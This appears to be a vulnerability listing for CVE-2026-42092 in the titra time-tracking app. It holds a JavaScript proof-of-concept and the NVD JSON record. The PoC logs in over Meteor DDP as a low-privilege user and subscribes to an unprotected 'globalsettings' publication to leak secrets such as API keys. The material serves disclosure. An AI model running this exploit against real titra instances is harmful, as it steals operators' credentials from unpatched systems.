CVE-2026-42092

// PoC Concept using Meteor DDP client const { DDP } = require('meteor/ddp-client'); // Connect to the target application const ddp = new DDP({ url: 'wss://target-titra-instance.com/websocket' }); ddp.connect((error) => { if (error) { console.error('Connection failed', error); return; } // Authenticate with a low-privilege user account ddp.call('login', [{ user: { username: 'attacker' }, password: 'password' }], (err, result) => { if (err) { console.error('Login failed', err); return; } console.log('Logged in. Attempting to subscribe to global settings...'); // Subscribe to the vulnerable 'globalsettings' publication const subscriptionId = ddp.subscribe('globalsettings', []); // Listen for the data payload ddp.on('ready', (msg) => { // If the subscription ID matches, data has arrived if (msg.subs.includes(subscriptionId)) { console.log('Exploit successful. Leaked data:', ddp.collections.globalsettings); } }); }); });

{"cve": {"id": "CVE-2026-42092", "sourceIdentifier": "[email protected]", "published": "2026-05-04T18:16:31.363", "lastModified": "2026-05-07T15:43:39.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "titra is an open source time tracking project. In version 0.99.52, the globalsettings Meteor publication returns all global settings without any admin or role check. Any authenticated user can subscribe via DDP and receive sensitive configuration fields such as google_secret, openai_apikey, and google_clientid. At time of publication no public patch is available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://github.com/titraio/titra/security/advisories/GHSA-4h9p-49hg-vppw", "source": "[email protected]"}]}}